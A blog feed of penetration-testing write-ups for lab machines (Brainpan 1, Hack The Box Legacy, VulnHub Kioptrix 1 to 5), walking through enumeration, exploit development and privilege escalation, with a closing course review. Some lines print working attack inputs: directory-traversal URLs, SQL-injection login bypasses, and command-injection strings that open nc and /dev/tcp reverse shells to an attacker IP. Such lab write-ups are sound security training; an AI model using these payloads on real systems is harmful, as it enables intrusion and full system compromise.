As expected the application crashes and Immunity Debugger shows an access violation in the status bar at the bottom of the screen. Note however how the EDX register is now filled with A’s while the ESP register is filled with C’s. Also note the EIP register which is filled with 42424242 which represent our four B’s in hexadecimal format. The stack window in the bottom right clearly displays how our A’s are cleanly followed by four B’s and nicely continues with C’s as expected.

Following the memory dump by right clicking on the ESP register and then clicking Follow in Dump in the context menu shows how the memory is built up and clearly indicates a clean transition from A’s to the four B’s and continuing with C’s. This clearly shows how the buffer variable from our script is represented in memory within Immunity Debugger.

Debugging: Step 5 Finding Space for Shellcode

Now that we have confirmed control over the EIP register, can fill it with data of our choosing and know how our buffer variable is built up in memory we need to find space for our shellcode. A Windows payload is usually about 350 to 450 bytes while our C’s currently only represent 122 bytes in our buffer variable, to small of a space for 450 bytes of shellcode. The simplest way to find space is to just increase the amount of C’s in our buffer variable and test if the application still behaves the same as before.

To do this we modify the 4-control-eip.py script and increase the C’s in the buffer variable by 400 creating a total of 522 C’s. Plenty of space for a Windows reverse shell payload and some extra padding. The script can be downloaded here.

Running the 5-find-space.py script with Python.

As expected the debugger again shows an access violation. Following the memory dump by right clicking on the ESP register and then clicking Follow in Dump in the context menu again shows how the buffer is built up in memory. It is clear we now have more C’s than before and successfully increased the space needed to store our shellcode.

Debugging: Step 6 Finding Bad Characters

Some hexadecimal characters cannot be used in shellcode because they interfere with executing the shellcode correctly. An example of a character that is always bad is \x00 also known as a NULL character or NULL byte. This character signifies the end of a string thus cutting off the string stored in our buffer variable and cutting off the shellcode before it can fully execute.

Other bad characters depend on the application and should be found before shellcode can be generated. We know from the previous steps how the buffer variable is represented in memory as the follow in dump function clearly shows this. We can use this technique to find bad characters that should be excluded from our shellcode.

To find bad characters the 5-find-space.py script is modified with a variable badchars that includes all characters in hexadecimal format apart from the \x00 character. The buffer variable is modified to include the badchars variable instead of the C’s from the previous step. The script can be downloaded here, a file with all hex characters can be found here.

Running the 6-find-bad-characters.py script with Python.

Looking at the debugger we are greeted by the access violation again. To find bad characters we again have to leverage the follow in dump function for the ESP register and look for signs of our buffer variable being truncated anywhere. The screenshot below shows all hex characters from \x01 all the way through \xFF in memory without any truncation meaning the brainpan.exe application does not have any more bad characters.

If the string looks truncated or garbled in memory the bad character should be removed from the badchars variable in the 6-find-bad-characters.py script. When removed the script should be run again until no other bad characters are found truncating the output of the buffer variable.

Debugging: Step 7 Jumping to the ESP Register

As should be evident by now the ESP register is consistently filled with the data we want whether it be our buffer of A’s, C’s or the bad characters from the previous step and can conveniently store our shellcode. If we want to execute the shellcode stored in the ESP register we should find a way to redirect the execution flow of the brainpan.exe application to jump to that location in memory. This is where control of the EIP register comes into play.

To jump to ESP we should find a memory location that contains a JMP ESP instruction either within the brainpan.exe application itself or one of its loaded modules. However, before we can do this we should find the hexadecimal equivalent of a JMP ESP instruction. The nasm_shell.rb script can help with this.

Entering the instruction JMP ESP into nasm_shell.rb reveals the hexadecimal equivalent of a JMP ESP instruction is \xFF\xE4. Now we need to find a module that has no memory protections such as SafeSEH or ASLR enabled. This can be achieved with the mona.py script.

In the command window at the bottom of Immunity Debugger type !mona modules. A screen like the one below appears with all the loaded modules, their memory address and memory protections. We are looking for a module that has false across the board. False means the protection is not enabled. The only module that satisfies these criteria is the brainpan.exe application itself.

Now that we have identified a module without memory protections enabled we can leverage mona.py again to look for a memory location with a JMP ESP instruction. This can be achieved with the command !mona find -s “\xff\xe4” -m brainpan.exe. Fortunately, Mona finds a JMP ESP instruction at memory address 311712F3.

To verify if the memory address 311712F3 indeed contains a JMP ESP instruction we can search for the memory address within Immunity Debugger by clicking on the search button at the top of the screen, entering the memory address 311712F3 and then clicking OK. The debugger jumps to the address and we can see that it indeed contains a JMP ESP instruction.

To verify if we can indeed jump to ESP using this memory address the 6-find-bad-characters.py script is modified to include the memory address with the JMP ESP instruction we discovered. The buffer variable is modified with the memory address that contains the JMP ESP instruction instead of our four B’s we also add back the 522 C’s at the end of the buffer variable instead of the bad characters from the previous step.

Note that the x86 architecture uses memory address in little endian format, this means we have to enter the memory address in reverse. In other words, the memory address 31 17 12 F3 should be noted in hexadecimal format as follows \xF3 \x12 \x17 \x31 within our buffer variable. The modified script can be downloaded here.

Before we run the 7-jump-to-esp.py script we will set a breakpoint on the memory address that contains the JMP ESP instruction within Immunity Debugger. We do this to instruct the debugger to pause before executing instructions beyond that point. This is so we can follow exactly what happens. In Immunity Debugger click on the memory address with the JMP ESP instruction and press the F2 button to set a breakpoint.

Running the 7-jump-to-esp.py script with Python.

Once the breakpoint is reached Immunity Debugger enters a paused state, the status bar indicates a breakpoint is reached at address 311712F3 that contains the JMP ESP instruction. If the application executes further we should expect it to jump to the beginning of the ESP register that contains our C characters from our buffer variable.

Using the F7 key to step into the next instruction should bring us at the beginning of our C’s at memory address 005FF910 confirming the buffer variable is well aligned and the memory address with the JMP ESP instruction does exactly what we want it to do, jump to ESP.

Debugging: Step 8 Writing the Exploit

Now that we control the EIP register, found a memory location with a JMP ESP instruction and confirmed the JMP ESP instruction works as expected and brings us to the beginning of our C’s in the buffer variable it is time to finish the exploit by generating and adding some shellcode instead of the innocent C’s we have been using as padding until now.

Msfvenom can be leveraged to generate a Windows reverse shell shellcode that connects back to a listener on our attacking machine. Make sure to exclude any bad characters that where found in Step 6 with the -b option. The generated shellcode is 351 bytes long which neatly fits in the 522 C’s we have added to our buffer variable.

Now that the shellcode is generated it should be copied so that it can be pasted in the exploit script.

To add the shellcode and finish the exploit the 7-jump-to-esp.py script should be modified with a shellcode variable that contains the shellcode generated by Msfvenom.

The buffer variable is modified to contain 32 NOP’s and the new shellcode variable, the NOP’s are added to give the shellcode some room to expand if needed. The 32 bytes of NOP’s and the 351 bytes that contain she shellcode should be subtracted from the 522 C’s in the buffer variable to keep the total size of the buffer the same as it has been until now. 522 - 32 - 351 = 139 so we should pad the buffer with another 139 C’s after we added in the NOP’s and the shellcode variable.

The exploit is now finished and ready for testing. Before executing the exploit an Ncat listener is prepared to catch the reverse shell connection.

Running the 8-exploit.py script with Python.

The shellcode in the exploit executes and connects back to the Ncat listener. We now have a working exploit to try on the Brainpan 1 machine.

Exploitation: Initial Shell

Until now we have been developing and testing the exploit on our Windows machine because we needed Immunity Debugger and the mona.py script to help us develop the exploit. To run the exploit against the Brainpan 1 machine the IP address has to be modified to the one of Brainpan 1. The modified script can be downloaded here.

A new Ncat listener should be prepared to catch the reverse shell connection.

Running the modified 8-exploit.py script with Python against the IP address of Brainpan.

The shellcode in the exploit executes and connects back to the Ncat listener. We now have a low privilege shell on the Brainpan 1 machine as the user puck.

Privilege Escalation

Investigating Puck’s home directory reveals a checksrv.sh script.

Investigating the checksrv.sh script reveals the brainpan.exe application is executed with WINE, a program that creates a compatibility layer to run Windows applications on UNIX like operating systems and explains why the Windows reverse shell shellcode within our exploit actually worked on a Linux target.

Because Brainpan 1 is a Linux target it is advisable to try a native Linux reverse shell within our exploit. We can leverage Msfvenom again to generate Linux reverse shell shellcode and replace the Windows shellcode within our exploit. As can be seen the Linux shellcode is only 95 bytes, a lot smaller than the 351 bytes needed for our Windows shellcode.

Now that the Linux shellcode is generated it should be copied so it can be pasted within the exploit.

The 8-exploit.py script should be copied and the shellcode variable within the new 8-exploit-linux.py script should be modified with the newly generated shellcode for our Linux target. Furthermore, because the Linux reverse shell shellcode is only 95 bytes long the buffer variable, specifically the C’s that are used for padding should be modified accordingly. The padding of C’s was originally 522 bytes, the 32 NOP’s and 95 bytes for the Linux shellcode should be subtracted leaving a padding of 395 C’s in our buffer variable. The modified Linux script can be downloaded here.

A new Ncat listener should be prepared to catch the reverse shell connection.

Running the modified 8-exploit-linux.py script with Python.

The shellcode in the exploit executes and connects back to the Ncat listener creating a native Linux reverse shell as the user puck.

Upgrading the Ncat shell with some Python magic.

Running sudo -l reveals the user Puck can run the /home/anansi/bin/anansi_util binary without a password as the root user.

Investigating further reveals the anansi_util binary can execute the manual command.

Exploitation: Root

Using a custom command to escape the binary with a command such as /bin/bash does not seem to work as the anansi_util binary seemingly tries to display the manual page through the less command. However, escaping less is possible by executing !/bin/bash as explained in the following guide for escaping restricted shells from the Exploit Database.

Running !/bin/bash indeed escapes the program and gains a root shell on the target resulting in a full compromise of the Brainpan 1 machine.

Conclusion

Brainpan 1 is a fantastic challenge to practice basic buffer overflow attacks and exploit development and I thoroughly enjoyed completing this machine.

This challenge helped me understand the process behind buffer overflows and what goes on under the hood a lot better. Documenting the process in a blog post helped me refine my process and I hope this post helps others on the same journey in understanding the basic concepts behind them as well.

Hack The Box Write-Up Legacy

hello@isroot.nl (Michael Thelen) — Sat, 16 Feb 2019 00:00:00 +0100

Hack The Box is an online platform that hosts virtual machines that are vulnerable by design to sharpen one’s penetration testing and security skills. While Legacy is an older machine there is still a lot to learn if the exploitation phase is attempted without the use of the Metasploit framework. The vulnerability on this machine is very well known and is often used to teach beginners the basics of penetration testing.

Tools Used

Nmap
Searchsploit
Python
Msfvenom
Ncat
Locate
Impacket smbserver.py
Copy
Whoami.exe

Enumeration: Nmap

Running an initial scan with Nmap reveals ports 139 and 445 are open. Nmap also specifically mentions port 3389 is closed.

Running a targeted service scan against ports 139, 445 and 3398 reveals the Microsoft Windows netbios-ssn and Windows XP microsoft-ds services. Furthermore, the service scan and script results reveal the target operating system is Windows XP.

Because Windows XP is an older operating system it is highly likely it is vulnerable to a well-known exploit. Running an Nmap script scan for the MS08-067 vulnerability reveals this is indeed the case.

John Lambert’s story about this vulnerability is a worthy read and can be found here.

Enumeration: Searchsploit

Using searchsploit with the search parameter ms08-067 reveals several public exploits.

As Python is my language of choice I copy the Python exploit from the local exploit database to investigate and modify it where necessary.

Running the exploit reveals it needs two parameters, the targets IP address and a number for the target’s operating system version.

Inspecting the exploits code reveals there are several operating system versions to choose from. Selecting the correct version is important because the exploit needs to know the return address in memory that is different for each operating system version.

Enumeration: Nmap Continued

The Nmap script scan revealed the target’s operating system was Windows XP but the exact version is still a mystery. Running an Nmap service scan with operating system detection reveals that Nmap guesses with 94% certainty that the target operating system is Windows XP SP3.

Exploitation: Initial Shell

Inspecting the exploit code again reveals that Windows XP SP3 is supported with the parameter 6.

Further investigation of the exploit comments reveals the initial shellcode needs to be replaced, furthermore it notes that the payload size is 380 bytes long.

Msfvenom can be leveraged to generate new shellcode and replace the other parameters embedded within such as the IP address and port. Furthermore, the Meterpreter payload needs to be replaced because Ncat cannot handle the currently embedded staged payload. Running the first Msfvenom command to determine how large the payload size will become with a new stageless payload sell_reverse_tcp.

A good article on staged versus stageless payloads can be found here.

The final payload size of the Msfvenom command is 348 bytes but the exploit expects a payload of 380 bytes. This can be solved by adding a Nopsled of 32 bytes with Msfvenom. Note the –nopsled 32 command at the end that adds an extra 32 bytes to the payload making the final payload size 380 bytes.

Replacing the initial shellcode with the newly generated shellcode from Msfvenom leaving the first three lines of the initial shellcode which are NOP’s in place.

Preparing a Ncat listener on port 443 to catch the connection.

Launching the modified Python exploit against the targets IP address using parameter 6 which contains the Windows XP SP3 return address.

The exploits succeeds and connects back to the Ncat listener creating an initial shell on the target.

Privilege Escalation (Sort of)

The target operating system does not seem to have the whoami command available to determine the username of the current session. Luckily Kali Linux has a whoami.exe executable built in. This executable can be transferred to the target over an SMB connection as this functionality is built into Windows operating systems by default.

Leveraging the Impacket smbserver.py Python script to create an SMB share on the attacking machine.

Initiating the transfer of the whoami.exe executable on the target machine.

The Impacket smbserver.py script allows the connection and the whoami.exe file is transferred to the target.

Exploitation: Root

Executing the whoami.exe executable reveals the initial shell has SYSTEM privileges resulting in a full compromise of the machine.

Conclusion

As stated before Legacy is an old machine with a very well-known vulnerability. Using Metasploit to exploit the machine is a valid and above all fast solution, it does however not allow one to learn all the lessons this machine has to offer if you are a beginning penetration tester.

My recommendation is to first exploit the machine with Metasploit and then manually exploit it solidify one’s knowledge of what is really going on under the hood and learn a thing or two in the process.

VulnHub Write-Up Kioptrix Level 5

hello@isroot.nl (Michael Thelen) — Mon, 17 Dec 2018 00:00:00 +0100

A few weeks ago, I started the Kioptrix series of vulnerable by design virtual machines with the Kioptrix Level 1, Kioptrix Level 2, Kioptrix Level 3 and Kioptrix Level 4 challenges. In this post I focus on how I solved Kioptrix Level 5 which is, sadly the last machine in the series. If you want to try this challenge yourself it can be downloaded here.

Tools Used

Netdiscover
Nmap
Firefox
Searchsploit
Gobuster
Ncat and Nc
Gcc

Enumeration: Netdiscover

As the Kioptrix series are virtual machines in a downloadable and self-hosted format the machine gets an IP address from DHCP when it starts. This means that unlike online challenges such as Hack The Box the IP address of the machine is somewhat “unknown” beforehand.

The first thing to know is the local network address by using the ifconfig command.

Knowing the network address and subnet mask Netdiscover can be leveraged to do some ARP reconnaissance and find other hosts on the local network.

The Kioptrix machine is hosted on the VMware software so it is safe to assume that the last entry in the list is the target as the MAC Vendor column indicates a MAC address associated with VMware.

Enumeration: Nmap

Running an initial scan with Nmap against the discovered IP address reveals ports 80 and 8080 are open while port 22 seems to be closed.

Running a targeted service scan against ports 22, 80 and 8080 reveals that the Apache HTTP server is listening on both open ports. Also note Apache is running version 2.2.21 of the software and the banner indicates FreeBSD as the operating system.

Enumeration: Firefox

A visit to the website on port 80 with the Firefox browser reveals the default Apache webpage.

Further investigation of the website source code reveals a line that is commented and hints at a possible pChart 2.1.3 application on the server.

Browsing to the pChart2.1.3 directory on the webserver reveals a webpage hosting the pChart 2.1.3 application.

Enumeration: Searchsploit

A quick search with searchsploit for pchart 2.1.3 reveals a public exploit is available.

Copying the exploit from the local exploit database to investigate and modify it where necessary.

Investigating the exploit code reveals it uses a directory traversal vulnerability making it possible to read files on the filesystem that are accessible by the webserver.

Exploitation: Firefox

Modifying the sample with the following code:

1

http://172.16.3.43/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd

reveals the contents of the /etc/passwd file and confirms the vulnerability but does not reveal much that can be worked with.

Enumeration: Firefox Continued

Moving on to investigate port 8080 with the Firefox browser reveals a forbidden message indicating the webserver on this port is responding but access is not permitted.

Enumeration: Gobuster

Digging a bit deeper with Gobuster indicates a wildcard response.

Enumeration: Firefox Again

Because browsing the page with Firefox and a directory brute-force with Gobuster both fail I decide to leverage the directory traversal vulnerability to display the Apache configuration file. The FreeBSD documentation reveals the configuration file is located at the following path /usr/local/etc/apache2x/httpd.conf path.

Leveraging the information from the FreeBSD documentation and the Apache version number found earlier with Nmap it is trivial to display the Apache configuration file with the following code:

1

http://172.16.3.43/pChart2.1.3/examples/index.php?Action=View&Script=%2f..%2f..%2f/usr/local/etc/apache22/httpd.conf**.

Searching the Apache configuration file for port 8080 reveals a virtual host entry that only allows access to the website if the browser has its user agent string set to Mozilla/4.0.

Firefox can be configured with a manually set user agent string of Mozilla/4.0 by modifying the property general.useragent.override on the about:config page.

Leveraging Firefox to browse to port 8080 with the now modified user agent reveals a single folder named phptax.

Browsing to the phptax folder reveals the PHPTax web application.

Enumeration: Searchsploit Continued

A quick search with searchsploit for phptax reveals several public exploits are available.

Copying the exploit from the local exploit database to investigate and modify it where necessary.

Investigating the exploit code reveals it is vulnerable to a remote code injection vulnerability in the exec() function making it possible to execute code on the host.

Nmap as well as the /etc/passwd file revealed that the target is running the FreeBSD operating system because of this the sample code included with the exploit should be modified as it does not work as-is on the target.

Exploitation: Initial Shell

Preparing an Ncat listener on port 443 to catch a /bin/sh reverse shell.

Leveraging Firefox to exploit the vulnerability with the following modified sample code:

1

http://172.16.3.43:8080/phptax/index.php?pfilez=1040d1-pg2.tob;rm /tmp/f;mkfifo /tmp/f;nc 172.16.3.17 443</tmp/f|/bin/sh>/tmp/f 2>/tmp/f;rm /tmp/f;&pdf=make**

/bin/sh connects to the Ncat listener resulting in a low privilege shell as the www user.

Privilege Escalation

Investigating the target operating system and kernel version reveals both are severely out of date indicating a privilege escalation exploit is most likely available for the machine.

A quick search with searchsploit for freebsd 9.0 reveals several public exploits are available.

Copying the exploit from the local exploit database to investigate and modify it where necessary.

Verifying if the gcc compiler is available on the target to compile the exploit locally.

Leveraging Ncat by piping the copied exploit file into Ncat on the attacking machine.

Changing to a writable directory and leveraging Nc by piping the exploit to a file on the target machine.

Nc on the target connects to the Ncat listener on the attacking machine to transfer the file.

Exploitation: Root

After compiling the exploit and making it executable with the chmod +x command, executing the exploit results in root level access and a full compromise of the machine.

Conclusion

Kioptrix Level 5 is the fifth and as of this writing last machine in the Kioptrix series.

Gaining an initial foothold on this machine is not a trivial task. While all exploits are relatively well known and easy to find with searchsploit the difficulty lies in chaining them together to find the information you need.

Another difficulty is the somewhat “exotic” FreeBSD operating system that some people might know little about as it is not as commonly deployed as the Linux or Windows operating systems. This makes Kioptrix Level 5 a good exercise in enumeration.

Once the initial foothold is established the privilege escalation to root is straight forward and about the same difficulty as Kioptrix Level 1 and Kioptrix Level 2.

VulnHub Write-Up Kioptrix Level 4

hello@isroot.nl (Michael Thelen) — Sun, 09 Dec 2018 00:00:00 +0100

This post is a continuation of the Kioptrix series which I started a few weeks ago with the Kioptrix Level 1, Kioptrix Level 2 and Kioptrix Level 3 vulnerable by design virtual machines. In this post I focus on how I solved the Kioptrix Level 4 challenge. If you want to try this challenge yourself it can be downloaded here.

Tools Used

Netdiscover
Nmap
Firefox
Gobuster
SSH Client
Echo
MySQL Client
Locate
Sudo

Enumeration: Netdiscover

The first thing to know is the local network address by using the ifconfig command.

Knowing the network address and subnet mask Netdiscover can be leveraged to do some ARP reconnaissance and find other hosts on the local network.

Enumeration: Nmap

Running an initial scan with Nmap against the discovered IP address reveals ports 22, 80, 139 and 445 are open.

Running a targeted service scan against ports 22, 80, 139 and 445 reveals that the OpenSSH, Apache HTTP and Samba servers are listening.

Enumeration: Firefox

A visit to the website with the Firefox browser reveals a LigGoat secure login webpage.

Trying several well-known username and password combinations such as “admin/admin” reveals an error page but does not yield further results.

Testing for simple SQL injection by entering a ’ in the password field returns a MySQL error confirming it is vulnerable to SQL injection. Furthermore, the error reveals the root directory of the website /var/www and the checklogin.php page that displays the SQL error.

Enumeration: Gobuster

Digging a bit deeper a Gobuster scan reveals the robert and john directories.

Enumeration: Firefox Continued

Investigating the robert directory of website reveals a PHP file with the same name. Because the website hosts a login system it is highly likely that the user robert exists.

Leveraging the username robert and the SQL payload ’ OR 1=1 # in the password field bypasses the login page and reveals a username and password.

Exploitation: Initial shell

Leveraging the SSH Client with the discovered credentials results in access to a limited shell that only has a few commands available.

Leveraging the echo command, which is allowed, to view the active shell results in a warning message because the path /bin/kshell is forbidden.

Because the echo command is available it can be leveraged to escape the restricted shell and spawn an interactive TTY shell with the command “echo os.system(’/bin/bash’)”.

Privilege Escalation

Investigating root directory of the webpage reveals the checklogin.php file that displayed the SQL errors when attempting SQL injection on the website’s password field.

Viewing the database login credentials reveals the website connects to the database with the MySQL root user and a blank password.

Leveraging the MySQL client to access the database server with the root user results in root access.

Investigating if the MySQL server has any User-Defined Functions loaded reveals the sys_exec function that is loaded by the lib_mysqludf_sys.so library. This function makes it possible to execute system commands through the MySQL database server.

Locating the lib_mysqludf_sys.so library reveals its location on the filesystem and the owner of the file.

Further investigation of the running MySQL process reveals it runs as the root user making it possible to execute commands with the sys_exec function with root privileges.

Injecting the robert system user into the /etc/sudoers file with the sys_exec function through the MySQL database server. A trick similar to the one I used earlier in the Kioptrix level 3 challenge.

Exploitation: Root

After injection of the user in the /etc/sudoers file the sudo su root command can be leveraged to gain root level privileges resulting in a full compromise of the Kioptrix4 machine.

Conclusion

Kioptrix Level 4 is the fourth machine in the Kioptrix series. Gaining an initial foothold on this machine is trivial if you have a basic understanding of SQL injection.

The machine is close to the same difficulty as Kioptrix Level 3 and some techniques on that machine can even be adapted and reused on Kioptrix Level 4.

Nevertheless, I really enjoyed the privilege escalation this machine had to offer as it shows how dangerous weak passwords are and really drives home the importance of least privilege when deploying applications and configuring system services.

VulnHub Write-Up Kioptrix Level 3

hello@isroot.nl (Michael Thelen) — Wed, 03 Oct 2018 00:00:00 +0100

A few weeks ago, I started the Kioptrix series of vulnerable by design challenges with Kioptrix Level 1 and Kioptrix Level 2. In this post I focus on how I solved the Kioptrix Level 3 challenge. If you want to try this challenge yourself it can be downloaded here.

Tools Used

Netdiscover
Nmap
Firefox
Searchsploit
Bash scripting
MySQL Client
John the Ripper
SSH Client
Sudo

Enumeration: Netdiscover

The first thing to know is the local network address by using the ifconfig command.

Knowing the network address and subnet mask Netdiscover can be leveraged to do some ARP reconnaissance and find other hosts on the local network.

The Kioptrix machine is hosted on the VMware software so it is safe to assume that the second entry in the list is the target as the MAC Vendor column indicates a MAC address associated with VMware.

The instructions for this challenge suggest to add the domain kioptrix3.com to the /etc/hosts file because the challenge includes a web application.

Leveraging the ping commando to verify if the added domain resolves correctly.

Enumeration: Nmap

Running an initial scan with Nmap against the discovered IP address reveals ports 22 and 80 are open.

Running a targeted service scan against ports 22 and 80 reveals the OpenSSH and Apache HTTP servers are listening.

Enumeration: Firefox

A visit to the website with the Firefox browser reveals a simple website for LigGoat Security.

Visiting the login page reveals the LotusCMS software.

Enumeration: Searchsploit

A quick search with Searchsploit for LotusCMS reveals an available Metasploit module with exploit number 18565.

Copying the exploit to a local folder to investigate the exploit code.

The exploit leverages a vulnerability in the page parameter and uses this to inject PHP code that is then executed by a PHP eval() call. According to the PHP documentation eval() evaluates a string as PHP code making it likely that code execution is possible.

Investigating further the payload used to trigger the software bug is a ’.

Testing the vulnerable parameter on the website with Firefox results in a PHP eval() error confirming the bug is present in this version of the LotusCMS software.

Exploitation: Initial Shell

To exploit this vulnerability, I wrote a Bash script that can be found here. The code leverages an URL encoded payload that uses the PHP exec function and Nc on the target to connect back to a listener on the attacking machine.

Executing the exploit results in a low privilege shell as the www-data user.

Privilege Escalation

Upgrading the Ncat shell with some Python magic.

Leveraging Grep to search if any connections to a MySQL database are made by files in the webserver directory. The last entry in the list ./gallery/gconfig.php looks promising.

Leveraging Cat and Grep to verify if there are any database credentials in the ./gallery/gconfig.php file. This reveals the user root and the password fuckeyou.

Connecting to the MySQL database server with the MySQL Client and the discovered credentials.

Listing the databases on the server. The gallery database seems interesting.

Changing context to the gallery database and listing all tables within it.

The dev_accounts table seem to be out of place and is worth investigating further. Selecting all entries within the database results in usernames and password hashes that might be useful.

Saving the discovered usernames and password hashes with Nano in a text file called hashes.txt.

Investigating the /etc/passwd file reveals both usernames discovered from the database also exist as system users. At this point it is worth it to crack the discovered hashes and test for password reuse if cracking is successful.

Leveraging John the Ripper and the popular rockyou.txt password list results in a cracked password for the user loneferret.

Verifying if the cracked password of the loneferret database user can be used to login as the Linux user loneferret with the su command.

Now that credentials for the user loneferret are verified to be working it is worth trying to SSH into the target to get a stable and interactive shell.

Investigating the home directory of the loneferret user reveals a file called CompanyPolicy.README.

The file hints at a newly installed editor called HT that can be executed with sudo meaning there is a possibility that the loneferret user can execute the binary with higher privileges.

Executing sudo -l to verify if the loneferret user can run the binary with sudo.

Investigating further the binary seems to have the SETUID bit set meaning that it runs with the privileges of the owner of the file. In this case the owner is the root user meaning the HT binary can be leveraged to manipulate any file on the system.

Executing the HT editor and opening the /etc/sudoers file to manipulate it.

Editing the /etc/sudoers file with the HT editor adding the /bin/su binary for the loneferret user so we can run it without entering a password.

Exploitation: Root

After editing the /etc/sudoers file executing su on Kioptrix3 results in root level access and a full compromise of the machine.

Conclusion

Kioptrix Level 3 is the third machine in the Kioptrix series. Gaining an initial foothold on this machine requires a bit more effort than the first two machines as the path requires developing an URL encoded PHP payload if you do not want to use the readily available Metasploit module.

Once an initial foothold is established the privilege escalation to root requires you to jump through several hoops that offer an interesting learning experience in privilege escalation and the dangers of weak passwords and password reuse.

Overall this machine requires more steps to compromise than the other two and is in my opinion a decent step up in difficulty compared to the first two machines in this series.

VulnHub Write-Up Kioptrix Level 2

hello@isroot.nl (Michael Thelen) — Sun, 09 Sep 2018 00:00:00 +0100

Last week I started the often recommended Kioptrix series of vulnerable by design virtual machines with Kioptrix Level 1. This week I focus on Kioptrix Level 2, the next machine in the series. If you want to try this challenge yourself it can be downloaded here.

Tools Used

Netdiscover
Nmap
Firefox
Searchsploit
Python SimpleHTTPServer
Wget
Gcc

Enumeration: Netdiscover

The first thing to know is the local network address by using the ifconfig command.

Knowing the network address and subnet mask Netdiscover can be leveraged to do some ARP reconnaissance and find other hosts on the local network.

Enumeration: Nmap

Running an initial scan with Nmap against the discovered IP address reveals ports 22, 80, 111, 443, 631 and 3306 are open.

Running a targeted service scan against ports 22, 80, 111, 443, 631 and 3306 reveals the OpenSSH, Apache, RPC, CUPS and the MySQL database server are listening.

Enumeration: Firefox

A visit to the website with the Firefox browser reveals a simple login form for a remote system administration application.

The username field of the login form is vulnerable to SQL injection making it possible to bypass the login form with the following syntax ‘or 1=1 #.

Once the login form is bypassed a simple application is revealed that can ping machines on the network.

Pinging the localhost address 127.0.0.1 on the machine opens another page with the output of the ping command.

Executing the ping command with the parameters 127.0.0.1;whoami again opens another page.

This time the output of the ping command is not the only result as the apache user is shown at the bottom of the page. This means the whoami command also executed confirming it is possible to execute other programs on the host.

Exploitation: Initial Shell

Preparing an Ncat listener on port 443 to catch a Bash reverse shell.

Executing the ping command followed by a Bash reverse shell with the following command 127.0.0.1;bash -i >& /dev/tcp/172.16.3.17/443 0>&1.

Bash connects to the Ncat listener opening a low privilege reverse shell as the Apache user.

Privilege Escalation

Investigating the target operating system, kernel version and architecture reveals both are severely out of date indicating a privilege escalation exploit is most likely available for the machine.

A quick search with searchsploit for Linux Kernel 2.6 CentOS reveals several public exploits but only one result is displayed for the x86 architecture specifically.

Copying the exploit from the local exploit database to investigate and modify it where necessary.

Investigating the exploit code reveals that the author tested it on the exact operating system and kernel version making it highly likely that the exploit will work on the target.

Verifying if the gcc compiler is available on the target to compile the exploit locally.

Copying the exploit and preparing the Python SimpleHTTPServer on port 80 to serve the exploit over HTTP.

Now that the Python SimpleHTTPServer is running wget can be leveraged to download the exploit on the target. The exploit is also compiled with gcc and made executable with the chmod +x command.

Exploitation: Root

Executing the exploit on kioptrix.level2 results in root level access and a full compromise of the machine.

Conclusion

Kioptrix Level 2 is the second machine in the Kioptrix series. Gaining an initial foothold on this machine requires a bit more effort and makes the machine a small step up in difficulty.

Once the initial foothold is established the privilege escalation to root is straight forward and about the same difficulty as the first machine in the series.

VulnHub Write-Up Kioptrix Level 1

hello@isroot.nl (Michael Thelen) — Mon, 03 Sep 2018 00:00:00 +0100

I am a frequent visitor of several information security communities and blogs. Whenever someone asks a question along the lines of “Are there any real world vulnerable by design challenges” the Kioptrix series keeps getting mentioned. I thought I’d bite the bullet and see what the Kioptrix challenges are all about starting with Kioptrix Level 1 which can be downloaded here.

Tools Used

Netdiscover
Nmap
Searchsploit
Grep
Python SimpleHTTPServer
Wget
Gcc

Enumeration: Netdiscover

The first thing to know is the local network address by using the ifconfig command.

Knowing the network address and subnet mask Netdiscover can be leveraged to do some ARP reconnaissance and find other hosts on the local network.

Enumeration: Nmap

Running an initial scan with Nmap against the discovered IP address reveals ports 22, 80, 111, 139, 443 and 1024 are open.

Running a targeted service scan against ports 22, 80, 111, 139, 443 and 1024 reveals the Apache 1.3.20 webserver running on a flavour of RedHat Linux. The mod_ssl 2.8.4 and OpenSSL 0.9.6b modules are also loaded.

Enumeration: Searchsploit

A quick search with searchsploit for mod_ssl 2.8 reveals several public exploits for mod_ssl 2.8.7 and lower versions.

Copying the exploit from the local exploit database to investigate and modify it where necessary.

For the exploit to compile correctly the libssl1.0-dev library needs to be installed on the attacking machine.

The exploit needs a few modifications to work and compile correctly. I copy the exploit keeping the original file for reference.

The exploit needs the following two include statements "#include <openssl/rc4.h>" and "#include <openssl/md5.h>" added to the exploit code.

Furthermore, to prevent compilation warnings change **“unsigned char p, end;” to “const unsigned char *p, *end;”.

Compiling the exploit with gcc.

Exploitation: Initial Shell

The exploit supports several different target operating systems and Apache versions. Grep can be leveraged to narrow down the long list of results as the previous Nmap scan indicated that the Kioptrix machine is most likely a flavour of RedHat Linux with Apache version 1.3.20.

Executing the modified exploit results in a low privileged shell as the Apache user.

Privilege Escalation

Investigating the target operating system and kernel version reveals both are severely out of date indicating a privilege escalation exploit is most likely available for the machine.

A quick search with searchsploit for Linux Kernel 2.4 RedHat reveals several public exploits.

Copying the exploit from the local exploit database to investigate and modify it where necessary.

Verifying if gcc is available on the target to compile the exploit locally.

Copying the exploit and preparing the Python SimpleHTTPServer on port 80 to serve the exploit over HTTP.

Exploitation: Root

Executing the exploit on kioptrix.level1 results in root level access and a full compromise of the machine.

Conclusion

Kioptrix Level 1 is the first machine in the series and a fun challenge for beginning security professionals.

The machine is straight forward to enumerate and with a little research not hard to compromise. While the machine is old (it was released in 2010) it teaches valuable lessons in enumeration and finding and modifying publicly available exploits, skills every beginning security professional should develop and strive to master.

Virtual Hacking Labs Penetration Testing Course Review

hello@isroot.nl (Michael Thelen) — Mon, 13 Aug 2018 00:00:00 +0100

After completing my eLearnSecurity Certified Professional Penetration Tester v4 (eCPPT) exam I wanted to keep my skills sharp and put my newly gained penetration testing knowledge to the test in a practical lab environment. While visiting the netsecstudents Reddit I found several posts discussing Virtual Hacking Labs.

Virtual Hacking Labs is a young company based in the Netherlands that offers an online vulnerable by design penetration testing lab and accompanying course on penetration testing. They offer several plans to access their lab environment and course materials without breaking the bank. Because of their reasonable pricing and the overall positive comments on the netsecstudents Reddit I thought I’d try them out.

Plan Comparison

The Virtual Hacking Labs plans (or passes as they call them) are relatively straight forward. You buy a pass that grants you access to their lab and course content for a pre-determined amount of time and off you go. The passes start out at one week but Month, three month and yearly passes are also available.

The only thing to note while comparing passes is that the weekly pass does not include offline access to the course materials and does not grant you a Certificate of Completion if you complete the twenty-machine lab challenge. If you value offline access to the materials for later reference, or if you want to opt for the Certificate of Completion I recommend going for a pass that includes them.

